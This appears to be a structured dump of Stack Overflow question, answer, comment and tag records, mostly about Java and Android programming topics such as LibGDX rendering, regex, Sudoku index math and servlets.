comment on: http://stackoverflow.com/q/22324552

http://stackoverflow.com/q/22231295
type: Question
tagged with: libgdx
score: 0
has comment: http://stackoverflow.com/comment/33758150
has comment: http://stackoverflow.com/comment/33757881
has title: Android LibGDX setting projection matrix combined causes sprites to vertically flip over
answer count: 0
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33758072
tagged with: java
has body: public void render() { this.spriteRenderer.setProjectionMatrix(this.instance.camera.combined); this.spriteRenderer.begin(); if (!this.ballon.isPoping()) { Sprite s = this.ballon.getSprite(); spriteRenderer.draw(s, 50, 50, s.getWidth(), s.getHeight()); } // else { // if (!this.ballon.isPoped()) { // Sprite s = this.ballon.getCurrentAnimation(); // this.spriteRenderer.draw(s, this.ballon.getX(), // this.ballon.getY(), // this.ballon.getSprite().getWidth() * SpriteConfiguration.BALLON_SCALE, // this.ballon.getSprite().getHeight() * SpriteConfiguration.BALLON_SCALE); // this.ballon.processAnimation(); // } // } this.spriteRenderer.end(); } I have set camera.setToOrtho to true with my width, and height. whenever I run that render method, my ballon sprite is basically vertically turned, looks like it flipped by 180 degrees over, like the image is saved as a standing ballon, and upon draw it looks like its turned, so I have to rotate the screen to see it. The reason I used setProjectionMatrix is because the default location of the screen (0, 0) on android portrait mode I assume, is top-right corner, which on libGDX it is automtaically at bottom left corner, so basically setToOrtho fixes it for libGDX, but the phone's default location doesn't change, and I want it to change &amp; be the same as libGDX's one because I need to handle screen touching, and get the correct position. So basically setProjectionMatrix &amp; setToOrtho(true...) does it's job, but the only problem that it just rotates the image by 180 degrees. Does anyone know why it does that?

http://stackoverflow.com/q/22295594
type: Question
possible better answer: http://stackoverflow.com/a/22300417
answer count: 2
downvote count: 0
tagged with: freemarker
has body: Hello i have such template: ...... UserId: ${userId} when i generate my template and put userId like 4195578878989842599 it display like 4 195 578 878 989 842 599, is it possible to fix it?
accepted answer: http://stackoverflow.com/a/22295668
favorite count: 0
score: 2
upvote count: 2
has title: Java Freemaker spaces in number
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22300417
tagged with: java
has answer: http://stackoverflow.com/a/22295668

game-loop
tag name: game-loop
tags question: http://stackoverflow.com/q/22286862
type: Tag

http://stackoverflow.com/q/22252590
score: 0
has title: What cause protobufs to create tousands of methods when compiled into Java
answer count: 1
has answer: http://stackoverflow.com/a/22254820
tagged with: protocol-buffers
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33796700
has comment: http://stackoverflow.com/comment/33797947
tagged with: java
has body: When you compile a protobuf (proto) files into Java it created around 450 method in java. (this is my own case). Thats what a simple method counter gives me as the number. But when java started compiling it turned in to range of 10,000. What cause this behaviour?. I assume its related to how java compiles classes and sub classes.
type: Question
has comment: http://stackoverflow.com/comment/33819442

http://stackoverflow.com/comment/33720769
has text: Arrays have `.length`, Collections have `.size()` . Do you really need anything else?
comment on: http://stackoverflow.com/q/22210535
type: Comment
type: QuestionComment
score: 6

http://stackoverflow.com/comment/33747578
score: 0
has text: So it all works now? I've told you that you will be able to "solve" it just by debugging or simplification. That is usually a good way to start. If you think question should be removed, could you please comment that in head of question that you wish to remove it?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22201659

http://stackoverflow.com/comment/33746821
score: 0
has text: try this link, will lessen your work https://code.google.com/p/simple-java-mail/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22222720

http://stackoverflow.com/a/22289222
downvote count: 0
has comment: http://stackoverflow.com/comment/33863714
has body: What about rowIdx = 3*(grid_idx/3) + cell_idx/3 all division being integer divisions
has comment: http://stackoverflow.com/comment/33899923
has comment: http://stackoverflow.com/comment/33863533
has comment: http://stackoverflow.com/comment/33863973
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33902009
upvote count: 3
has comment: http://stackoverflow.com/comment/33864036
has comment: http://stackoverflow.com/comment/33864020
type: Answer
accepted answer of: http://stackoverflow.com/q/22289144
has comment: http://stackoverflow.com/comment/33864102
has comment: http://stackoverflow.com/comment/33864223
answers question: http://stackoverflow.com/q/22289144
score: 3
has comment: http://stackoverflow.com/comment/33902046

http://stackoverflow.com/a/22302130
upvote count: 1
has comment: http://stackoverflow.com/comment/33888108
answers question: http://stackoverflow.com/q/22302012
has comment: http://stackoverflow.com/comment/33888401
accepted answer of: http://stackoverflow.com/q/22302012
type: Answer
has comment: http://stackoverflow.com/comment/33887172
has comment: http://stackoverflow.com/comment/33887454
has comment: http://stackoverflow.com/comment/33885666
has comment: http://stackoverflow.com/comment/33886855
downvote count: 0
score: 1
has body: You got it. Calculate the offset between the object origin and the clicked position, then maintain the offset as you set the position during dragging. If you don't do this, you'll see that initial "jump" as it is sets the object's origin at the clicked mouse position (that is unless you happen to grab the object at its origin). I normally do something like this when the object is "grabbed". This is calculated once, say for example in your mousePressed() method: Point origin = thing.getPosition(); scene.grabbedOffsetX = (mousePos.x - origin.x); scene.grabbedOffsetY = (mousePos.y - origin.y); Then when you redraw during the dragging operation you factor in the previously calculated offset. The offset remains constant throughout the dragging operation. This would be for example in your mouseDragged() method: thing.setPosition(mousePos.x - grabbedOffsetX, mousePos.y - grabbedOffsetY); repaint();
has comment: http://stackoverflow.com/comment/33887286
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33887518

http://stackoverflow.com/q/22182500
accepted answer: http://stackoverflow.com/a/22188568
has comment: http://stackoverflow.com/comment/33681129
type: Question
has title: What the is the "Rect" class?
tagged with: swing
answer count: 1
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33671660
has body: I'm trying to complete a project for school. It is partially completed when I get it. I cannot test anything I've written (except the layout, by commenting-out the error). I have an error for "Rect cannot be resolved to a type". Thinking that I did something wrong, I found this complete code posted online, and thought I'd see what differences there are. I get the same errors here...lots of them. What gives? Note* I'm not trying to pass this program in, just trying to see how it works, since I want mine to do the same thing. /** * DrawRects.java * * Allows the user to enter a number of rectangles using mouse input. * Keeps previous rectangles around. * Inspired by a C++ class demo by THC * * @author Scot Drysdale on 4/19/00. Modified to a JApplet 1/16/2012 * Modified to add a "clear" button and use an ArrayList on 1/18/2012 */ import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.util.ArrayList; public class DrawRects extends JApplet implements MouseListener, MouseMotionListener { private static final long serialVersionUID = 1L; private Point pressedPoint = null; // place where mouse pressed down private Rect currentRect = null; // rectangle being dragged. private ArrayList&lt;Rect&gt; boxes = new ArrayList&lt;Rect&gt;(); // a list of rectangles private static final Color[] colors = { Color.red, Color.cyan, Color.magenta, Color.yellow }; private int colorIndex = 0; // index into colors of current color private JButton clearButton; // Button to clear the screen private static final int APPLET_WIDTH = 520; // Width of the applet private static final int APPLET_HEIGHT = 550; // Height of the applet private static final int CANVAS_WIDTH = 500; // Width of the canvas private static final int CANVAS_HEIGHT = 500; // Height of the applet /** * Initializes the applet */ public void init() { addMouseListener(this); addMouseMotionListener(this); setSize(APPLET_WIDTH, APPLET_HEIGHT); Container cp = getContentPane(); // Content pane holds components cp.se…
has answer: http://stackoverflow.com/a/22188568
tagged with: awt
has comment: http://stackoverflow.com/comment/33670321
has comment: http://stackoverflow.com/comment/33670313
tagged with: japplet
type: AnsweredQuestion

lombok
type: Tag
tag name: lombok
tags question: http://stackoverflow.com/q/22310414

apache-poi
tags question: http://stackoverflow.com/q/22311771
tags question: http://stackoverflow.com/q/22237844
tags question: http://stackoverflow.com/q/22170640
tags question: http://stackoverflow.com/q/22251575
tags question: http://stackoverflow.com/q/22220242
type: Tag
tags question: http://stackoverflow.com/q/22267216
tags question: http://stackoverflow.com/q/22229874
tags question: http://stackoverflow.com/q/22209606
tag name: apache-poi
tags question: http://stackoverflow.com/q/22214532
tags question: http://stackoverflow.com/q/22267679
tags question: http://stackoverflow.com/q/22248773
tags question: http://stackoverflow.com/q/22221377
tags question: http://stackoverflow.com/q/22268898
tags question: http://stackoverflow.com/q/22266998
tags question: http://stackoverflow.com/q/22322616
tags question: http://stackoverflow.com/q/22225813
tags question: http://stackoverflow.com/q/22221700
tags question: http://stackoverflow.com/q/22190243
tags question: http://stackoverflow.com/q/22278082
tags question: http://stackoverflow.com/q/22266576
tags question: http://stackoverflow.com/q/22321790
tags question: http://stackoverflow.com/q/22317719
tags question: http://stackoverflow.com/q/22294690
tags question: http://stackoverflow.com/q/22300693

http://stackoverflow.com/a/22207179
answers question: http://stackoverflow.com/q/22206329
has body: That will work. The methods you care about don't rely on GL context from the libgdx engine, so you can instantiate an OrthographicCamera and use it normally from within your own game code. Instantiate an OrthographicCamera with the empty constructor, then call setToOrtho on it with the width and height you want for the screen's viewport. This will depend on what units you are using for the scale of your sprites, but you can do something like this to set up your viewport: private static final float MIN_SCENE_HEIGHT_IN_GAME_UNITS= 480f; //FOR EXAMPLE private static final float MIN_SCENE_WIDTH_IN_GAME_UNITS= 760f; if (((float)screenWidthInPixels/(float)screenHeightInPixels) &gt; (MIN_SCENE_WIDTH_IN_GAME_UNITS/MIN_SCENE_HEIGHT_IN_GAME_UNITS)){ orthoCam.setToOrtho(false, MIN_SCENE_HEIGHT_IN_GAME_UNITS*(float)screenWidthInPixels/(float)screenHeightInPixels, MIN_SCENE_HEIGHT_IN_GAME_UNITS); } else { orthoCam.setToOrtho(false, MIN_SCENE_WIDTH, MIN_SCENE_WIDTH_IN_GAME_UNITS*(float)screenHeightInPixels/(float)screenWidthInPixels); } The falses above are so y is pointing up, so you can flip that if you want. If you need to move the camera to 0,0, call orthocam.position.set(x,y,z) and then orthocam.update(). Then you can grab the matrix you need from orthographicCamera.combined. If you're using GL ES 1.0, you can set the matrix like this: gl.glMatrixMode(GL10.GL_PROJECTION); gl.glLoadMatrixf(orthographicCamera.combined.val, 0); Otherwise, you can just directly use orthographicCamera.combined in your shader You could also clone the OrthographicCamera class and its superclass Camera into your project and remove the methods you won't be using to remove dependencies on other parts of the engine, and switch it to use your own versions of Vector3 and Matrix4.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33714891
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/34216825
has comment: http://stackoverflow.com/comment/34219208
score: 1
accepted answer of: http://stackoverflow.com/q/22206329

http://stackoverflow.com/comment/33765904
has text: I guess if there are multiple threads write in to the log without proper sync, then if two threads writing into the same log.....I guess that's why what happens?
comment on: http://stackoverflow.com/q/22234765
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/22277154
upvote count: 2
has comment: http://stackoverflow.com/comment/33841247
tagged with: regex
has answer: http://stackoverflow.com/a/22277193
score: 2
type: AnsweredQuestion
tagged with: java
has title: Using a regular expression to find a repeating pattern in Java
has comment: http://stackoverflow.com/comment/33843306
type: Question
has comment: http://stackoverflow.com/comment/33841155
accepted answer: http://stackoverflow.com/a/22277193
has comment: http://stackoverflow.com/comment/33841148
downvote count: 0
answer count: 1
has body: I am working in a regular expresion to match with the following string. String sample1 = "key:value|key:value|key:value|key:value"; As you can see key:value is periodically repeating and the only separator is the pipe (|). Considerations : key => just letters value => letters, + - sings, and numbers (for the moment) In the order hand , I have the following regex : public void testOptionsRules() { String match = "[a-z]+[:][-+]?[a-z_0-9]+"; boolean option1 = "a:f".matches(match); boolean option2 = "ad:d".matches(match); boolean option3 = "addc:dd1".matches(match); boolean option4 = "min:50".matches(match); boolean option5 = "ssss:-10".matches(match); boolean option6 = "dropl2etx:5555".matches(match); assertTrue(option1 &amp;&amp; option2 &amp;&amp; option3 &amp;&amp; option4 &amp;&amp; option5); assertFalse(option6); } The last test is working great. But How can I match the periodic repetition. I mean key:value|key:value|key:value|key:value. Thanks
favorite count: 0
has comment: http://stackoverflow.com/comment/33841281

http://stackoverflow.com/a/22179010
has comment: http://stackoverflow.com/comment/33664315
upvote count: 2
has comment: http://stackoverflow.com/comment/33664208
type: Answer
answers question: http://stackoverflow.com/q/22178874
score: 2
downvote count: 0
has body: These statements won't be reordered from the perspective of the thread that executes that piece of code (they may be reordered in practice, but only if the reordering has no effect from the perspective of that thread). However another thread may see the results of doB before seeing the results of doA. If that is an issue, you should lock around the code to make it atomic, for example by using a synchronized block. Note that using two synchronized blocks does not achieve much - in particular it is very likely that the JVM will merge them into one anyway (assuming they use the same monitor, but if they don't then you won't necessarily achieve atomicity).
has comment: http://stackoverflow.com/comment/33664092

http://stackoverflow.com/comment/33790968
comment on: http://stackoverflow.com/q/22248462
has text: i am able to get the elements.please find the code above. Suggest me any modification
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22289387
tagged with: io
answer count: 1
downvote count: 1
favorite count: 0
type: UnansweredQuestion
has body: Lets assume huffman code for "abcd" was 011011. I need to send this across wire. My question is what java's IO mechanism can i use to 1. Serialize 011011 on the disk. For example should it be saved in a file ? bytearray ? 2. Send back on the memory So this question has more to do with file IO/ and sockets than huffman encoding itself. I have coded up the huffman tree and generated the codes, I am stuck on the IO and sockets aspect of this problem, of how this 011011 can be sent to receiver.
tagged with: java
type: Question
has title: How are huffman encoded message transmitted across wire?
has answer: http://stackoverflow.com/a/22289417
score: 0
upvote count: 1

http://stackoverflow.com/comment/58432014
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22259885
has text: @LokeshS "why "_" is included in the result one" `_` in my example represents space, and `\S` represents non-whitespace. So lets step through splitting process of `"a_b"`. Lets iterate over each characters (since `\s` may be matched only by single character). Is `a` non-whitespace? Yes. So we split on it `|_b` (`|` represent place we split on)`. Is `_` non-whitespace? No it is whitespace so we don't split here, Is `b` non-whitespace? Yes, so we split on it `|_|` which in result gives us array `["", "_", ""]`.

http://stackoverflow.com/q/22311529
tagged with: sudoku
accepted answer: http://stackoverflow.com/a/22311833
score: 2
upvote count: 2
type: AnsweredQuestion
has title: Given 2D array row/column index, how to formulate the Sudoku "sub-grid" index?
tagged with: algorithm
tagged with: math
tagged with: java
type: Question
has body: I'm working on implementing a Sudoku grid in Java, and the last thing I've been unable to do is reduce the below logic to a mathematical formula. This is a follow up to this question: How to get the Sudoku 2D-array index, given its "sub-grid" and "cell-in-the-sub-grid" indexes? Here is the function, which works well: public static final int getGridIndexForCell(int rowIdx_0to8, int colIdx_0to8) { int idx = -1; if(rowIdx_0to8 < 3) { //Grid-row 1 idx = ((colIdx_0to8 < 3) ? 0 : ((colIdx_0to8 < 6) ? 1 : 2)); } else if(rowIdx_0to8 < 6) { //Grid-row 2 idx = ((colIdx_0to8 < 3) ? 3 : ((colIdx_0to8 < 6) ? 4 : 5)); } else { //Grid-row 3 idx = ((colIdx_0to8 < 3) ? 6 : ((colIdx_0to8 < 6) ? 7 : 8)); } return idx; } It returns the "grid index", based on the provided row and column indexes of the underlying two-dimensional array. Here's what I mean by grid (I call the entire thing a "board"): | | 0 | 1 | 2 | | ------------------------- | | 3 | 4 | 5 | | ------------------------- | | 6 | 7 | 8 | | Where each grid has nine cells, indexed like this 0 1 2 3 4 5 6 7 8 I'd appreciate annotated answers, as much as that is possible, because this is something I'm just not getting yet.
has answer: http://stackoverflow.com/a/22311833
linked to: http://stackoverflow.com/q/22289144
has comment: http://stackoverflow.com/comment/33903891
tagged with: arrays
downvote count: 0
has answer: http://stackoverflow.com/a/22312687
has answer: http://stackoverflow.com/a/22311810
favorite count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/22311810
has comment: http://stackoverflow.com/comment/33904329

http://stackoverflow.com/comment/33682206
type: Comment
type: QuestionComment
has text: The way you have it fine. Make sure your `EmailTaskServiceImpl` class is being component scanned.
comment on: http://stackoverflow.com/q/22188981
score: 0

http://stackoverflow.com/comment/33725374
comment on: http://stackoverflow.com/a/22212381
score: 0
type: AnswerComment
has text: I'm not up on Spring.
type: Comment

http://stackoverflow.com/a/22315075
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22314972
has comment: http://stackoverflow.com/comment/33910493
has comment: http://stackoverflow.com/comment/33910769
has comment: http://stackoverflow.com/comment/33913423
type: Answer
has comment: http://stackoverflow.com/comment/33913536
has body: You can use a Scanner to read the String URL by URL, and filter the URLs you want: final Scanner scan = new Scanner(string); scan.useDelimiter("\t"); while (scan.hasNext()) { final String url = scan.next(); if (url.contains(".com.jp")) { bufferedWriter.write(url); bufferedWriter.write("\t"); System.out.println(url); } } Alternatively, if you don't want to use a Scanner, you can also split() the String: while((string = bufferedReader.readLine()) != null) { for (String url: string.split("\t")) { if(url.contains(".com.jp")) { bufferedWriter.write(url); bufferedWriter.write("\t"); System.out.println(url); } } bufferedWriter.write("\n"); }
has comment: http://stackoverflow.com/comment/33910711
upvote count: 1
answers question: http://stackoverflow.com/q/22314972
has comment: http://stackoverflow.com/comment/33911290
score: 1
has comment: http://stackoverflow.com/comment/33910420

http://stackoverflow.com/comment/33715482
type: AnswerComment
score: 0
type: Comment
has text: Done! Working! Thank you so much! :-)
comment on: http://stackoverflow.com/a/22207534

http://stackoverflow.com/a/22315038
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33909480
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/22315001
answers question: http://stackoverflow.com/q/22315001
has body: Return the size of the Vector, int lastPersonIndex = vec.size() - 1; // minus 1 because of 0 based counting.

http://stackoverflow.com/q/22280508
tagged with: android
downvote count: 1
accepted answer: http://stackoverflow.com/a/22280549
tagged with: file
has answer: http://stackoverflow.com/a/22280549
has comment: http://stackoverflow.com/comment/33847071
has title: Android: Check if file exist and if not create new one
score: 2
type: AnsweredQuestion
tagged with: java
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22280683
has body: I tried to check if a file exist on my android and if not my program should create a new one. But it always overwrites my existing file and is not checking if the files exist. Here is the code for the file checking part: File urltest = new File(Environment.getExternalStorageDirectory()+ "/pwconfig/url.txt"); // check if file exists if(urltest.exists()); else{ // create an new file File urlconfig = new File(myDir, "url.txt"); } I really dont know why this is not working. It would be great if someone could help me.
favorite count: 0
has answer: http://stackoverflow.com/a/22280683
upvote count: 3

http://stackoverflow.com/q/22183740
type: Question
tagged with: exponent
has answer: http://stackoverflow.com/a/22184056
has body: import java.util.*; import javax.swing.*; public class ZhangIDK { public static void main (String[] args) { Scanner sc = new Scanner (System.in); System.out.println ("Please enter a number"); int h = sc.nextInt(); System.out.println ("Please enter another number"); int i = sc.nextInt(); System.out.println ("Please enter a string/word"); String j = sc.nextLine(); System.out.println ("Please enter a number"); int k = sc.nextInt(); average (1, 2, 3, 4, 5, 6, 7); least (1, 2, 3, 4, 5); } public static void average (int a, int b, int c, int d, int e, int f, int g) { int y = a + b + c + d + e + f + g; y/=7; System.out.println (y); } public static void least (int q, int r, int s, int t, int u) { int Smallestnumber = 100; int number = 1; if (number &lt; Smallestnumber) { Smallestnumber = number; number++; } System.out.println("The smallest number is" +Smallestnumber+ "."); } public static void power (int h, int i) { } public static void repeater (String j, int k) { } } In our programming class, we're learning about methods. Our teacher assigned us this thing where in the first method, we found the average of 7 (pre declared) numbers, in the second method, we found the smallest number of 5 (pre declared) numbers. In the third method, we have to use a scanner to input two numbers and the first number is raised to the power of the second number. Ex: 5, 2; the program should output 25 (5^2). And finally, in the fourth method, we have to use a scanner again and enter a string and a number and the program should output the string the amount of the times as the number. Ex:Bill, 3; the computer would output, Bill Bill Bill. I'm having trouble with the third and fourth methods. In my power method, when I enter, for example, 2 and 4, the program simply prints out the 2. Also, when I try to do the fourth method, well thats flat out not working for some reason, though it looks like it should work fine. One thing is that the part where its system.out.println the question "Please enter a…
score: 0
answer count: 3
has title: Raising a number to a power; Repeating words
type: UnansweredQuestion
tagged with: repeat
has answer: http://stackoverflow.com/a/22183868
tagged with: java
has answer: http://stackoverflow.com/a/22183771
tagged with: methods

http://stackoverflow.com/comment/33780458
type: AnswerComment
type: Comment
has text: @PG but i think issue is not about this.
comment on: http://stackoverflow.com/a/22243671
score: 0

http://stackoverflow.com/comment/33776925
type: Comment
comment on: http://stackoverflow.com/a/22235158
score: 0
type: AnswerComment
has text: Where do I need to place this in my code? after the <tabView> ? what do i need to insert in process?

http://stackoverflow.com/comment/33691651
score: 0
comment on: http://stackoverflow.com/a/22194183
has text: Also, in the previous URL i can see a space before 1.2.pom https://bitbucket.org/Devraj/reporty-ng/reporty-ng/1.2/reporty-ng- 1.2.pom
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/33757972
type: Comment
type: QuestionComment
has text: This is has progressed into a different request than the original. It is not what you want the output to be put into columns but you need a way to actually parse the output. parse implies "understand". You will need a separate parser for each of the command outputs that you want to parse and understand. e.g. what works for df is not gong to work for ls -l or mount or any other command.
score: 0
comment on: http://stackoverflow.com/q/22226222

http://stackoverflow.com/q/22317380
tagged with: webview
has body: I am trying to build a android application which takes input[array values] from java and passing to java script and html file. I have created with web view concept. But when i execute app is not working. here is the code. HTML file will take array values and plot graph package com.example.helloworld; import android.os.Bundle; import android.webkit.JavascriptInterface; import android.webkit.WebView; import org.apache.cordova.*; public class MainActivity extends DroidGap { WebView webview; final class ChartDataLoader{ @JavascriptInterface public double[][] getData(){ double[][] data = { {10,10}, {20, 10} }; return data; } } public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView(R.layout.activity_main); webview.addJavascriptInterface(new ChartDataLoader(), "dataLoader"); webview.loadUrl("file:///android_asset/www/index.html"); } } HTML file You should see a chart here.
has comment: http://stackoverflow.com/comment/33913585
has comment: http://stackoverflow.com/comment/33913612
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33913271
tagged with: javascript
has comment: http://stackoverflow.com/comment/33913660
has title: unfortunately app has stopped in android emulator after adding webview
score: 0
has answer: http://stackoverflow.com/a/22317405
tagged with: android
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/33913784
type: UnansweredQuestion

http://stackoverflow.com/comment/33869005
score: 0
has text: @DavidWallace The main region where I suspect root cause the varyService Class where I change the period of first timer.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22286218

http://stackoverflow.com/comment/33957653
score: 0
type: Comment
has text: Gabor could you please help with a sample code snippet?
comment on: http://stackoverflow.com/a/22298727
type: AnswerComment

http://stackoverflow.com/q/22204676
type: Question
has body: I have a calendar function, where I need to call a function from my MySQL database. The system functions like this: you can choose a "from" date - "to" date. It looks like this: http://postimg.org/image/5uurc5ycb/ The javascript/AJAX code works and it is successfully connected to my database. So what I want to do is to call the query: SELECT *, (Day_hours + (Day_minutes / 100)) as Allday_hours FROM Workdata so it will return the column Allday_hours. Does anyone knows how I can do that? Best Regards Mads &lt;form&gt; &lt;input id="start1" /&gt; &lt;input id="start2" /&gt; &lt;/form&gt; &lt;script&gt; $(function(){ $("#start1").datepicker({ dateFormat: 'yy-mm-dd', onSelect: function(dateText,inst){ alert(dateText); $.ajax({ url: "../dataExchange", type: "post", data: Date, success: function(){ alert("success"); $("#result").html('submitted successfully'); }, error:function(){ alert("failure"); $("#result").html('there is error while submit'); } }); } }); }); $(function(){ $("#start2").datepicker({ dateFormat: 'yy-mm-dd', onSelect: function(dateText,inst){ alert(dateText); $.ajax({ url: "../dataExchange", type: "post", data: Date, success: function(){ alert("success"); $("#result").html('submitted successfully'); }, error:function(){ alert("failure"); $("#result").html('there is error while submit'); } }); } }); }); &lt;/script&gt; My connection to the database is going through a servlet, that looks like this: package WorkPackage; import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.*; @WebServlet("/dataExchange") public class dataExchange extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } public void init(ServletConfig config) throws ServletException{ super.init(config); } public void doPost(HttpServletRequest req, Htt…
linked to: http://stackoverflow.com/q/4112686
has comment: http://stackoverflow.com/comment/33710512
score: 0
has comment: http://stackoverflow.com/comment/33710188
answer count: 1
accepted answer: http://stackoverflow.com/a/22205640
has comment: http://stackoverflow.com/comment/33710064
tagged with: ajax
has comment: http://stackoverflow.com/comment/33710275
has answer: http://stackoverflow.com/a/22205640
has comment: http://stackoverflow.com/comment/33710465
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33710488
has title: Call MySQL query from javascript/AJAX
tagged with: java
tagged with: mysql

http://stackoverflow.com/comment/33857073
score: 0
type: QuestionComment
type: Comment
has text: To Keppil, well the big file has a lot more methods and 3 classes so i thought I'd just include the necessary code. Sorry
comment on: http://stackoverflow.com/q/22285544

http://stackoverflow.com/comment/33780782
type: QuestionComment
score: 0
has text: Are you familiar with how to use XPath from within Java? I'm not sure whether you're asking what the appropriate XPath expression is, or asking how to use XPath expressions in a Java program.
type: Comment
comment on: http://stackoverflow.com/q/22243697

rpc
tag name: rpc
tags question: http://stackoverflow.com/q/22204481
tags question: http://stackoverflow.com/q/22272577
type: Tag

http://stackoverflow.com/comment/33717451
has text: You need to use generics.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22208839

http://stackoverflow.com/q/22213940
answer count: 4
has comment: http://stackoverflow.com/comment/33727242
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22214971
tagged with: java
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22213991
accepted answer: http://stackoverflow.com/a/22214971
has comment: http://stackoverflow.com/comment/33727019
score: 0
possible better answer: http://stackoverflow.com/a/22213960
has title: Abstract method for return class's instance
has answer: http://stackoverflow.com/a/22213960
has body: I have a class and I would like to create one abstract method for return instance of class byself. For example... public abstract class A { ......... public abstract Object getInstance(); } public class B extends A { @Override public Object getInstance() { return this; } } public class C extends A { @Override public Object getInstance() { return this; } } Above codes , method getInstance() can't force to return instances of child classes B and C. This is my main point to get it. How could I create an abstract method to force for return instance of child classes ?
has comment: http://stackoverflow.com/comment/33728610
favorite count: 0
has answer: http://stackoverflow.com/a/22213975

http://stackoverflow.com/comment/33894183
comment on: http://stackoverflow.com/a/22302627
type: Comment
has text: I'm afraid that wouldn't work since **1:** im comparing the "Names" array to the "pin" array **2:** the "pinChoice" input is a String so that i can output errors for non-digits and pin length. THanks for your time though. :)
score: 0
type: AnswerComment

http://stackoverflow.com/a/22193064
type: Answer
accepted answer of: http://stackoverflow.com/q/22186175
has comment: http://stackoverflow.com/comment/33839301
answers question: http://stackoverflow.com/q/22186175
has body: http://www.mapdb.org/ Also take a look at this question: Alternative to BerkeleyDB?
has comment: http://stackoverflow.com/comment/60824354
upvote count: 15
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/54096690
score: 15

cookies
tags question: http://stackoverflow.com/q/22308678
tags question: http://stackoverflow.com/q/22291021
tags question: http://stackoverflow.com/q/22190631
type: Tag
tags question: http://stackoverflow.com/q/22236774
tags question: http://stackoverflow.com/q/22265950
tag name: cookies

http://stackoverflow.com/a/22207523
type: Answer
has body: Here is a simple logic that one can apply Load File Iterate till the end while iterating through every line, call lineString.indexOf("searchKeyword") above line will let you know if the searchKeyword appears, if yes, you will get the starting location of the word in this string.
has comment: http://stackoverflow.com/comment/33715097
answers question: http://stackoverflow.com/q/22207248
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/33715365
score: 0
has comment: http://stackoverflow.com/comment/33715208

http://stackoverflow.com/comment/33747802
has text: Did you initialize `ToastMessaggeCallback toastMessaggeCallback`?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22226315

http://stackoverflow.com/q/22170478
type: Question
has comment: http://stackoverflow.com/comment/33649068
has body: I am working with Microsoft Translator API in my app. I am unable to execute this code: MainActivity: public class MainActivity extends Activity implements OnClickListener { @Override public void onCreate(Bundle savedInstanceState) { Translate.setClientId("My client"); Translate.setClientSecret("secret key"); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button Trans = (Button)findViewById(R.id.bTranslate); Trans.setOnClickListener(this); } public void onClick(View v) { //get the text entered EditText input = (EditText)findViewById(R.id.etUserText); TextView output = (EditText)findViewById(R.id.tvTranslatedText); String In =input.getText().toString(); //String Out; try { String Out = Translate.execute(In, Language.AUTO_DETECT, Language.FRENCH); input.setText(Out); output.setText(Out); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } activity_main.xml <requestFocus /> <TextView android:id="@+id/tvTranslatedText" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@+id/etUserText" android:layout_centerHorizontal="true" android:layout_marginTop="168dp" android:text="Large Text" android:textAppearance="?android:attr/textAppearanceLarge" /> AndroidManifest.xml: <?xml version="1.0" encoding="utf-8"?> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="18" /> <uses-permission android:name="android.permission.INTERNET"/> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
has comment: http://stackoverflow.com/comment/33648380
has comment: http://stackoverflow.com/comment/33647998
tagged with: microsoft-translator
has comment: http://stackoverflow.com/comment/33648395
score: 0
tagged with: android
answer count: 1
tagged with: language-translation
has comment: http://stackoverflow.com/comment/33648788
type: UnansweredQuestion
tagged with: localization
has answer: http://stackoverflow.com/a/36820324
tagged with: java
has comment: http://stackoverflow.com/comment/33648243
has title: Working with Microsoft Translator API in Android

http://stackoverflow.com/q/22280846
score: -5
has answer: http://stackoverflow.com/a/22280869
tagged with: java
has answer: http://stackoverflow.com/a/22280881
type: Question
possible better answer: http://stackoverflow.com/a/22280881
downvote count: 5
has comment: http://stackoverflow.com/comment/33847545
accepted answer: http://stackoverflow.com/a/22280869
answer count: 2
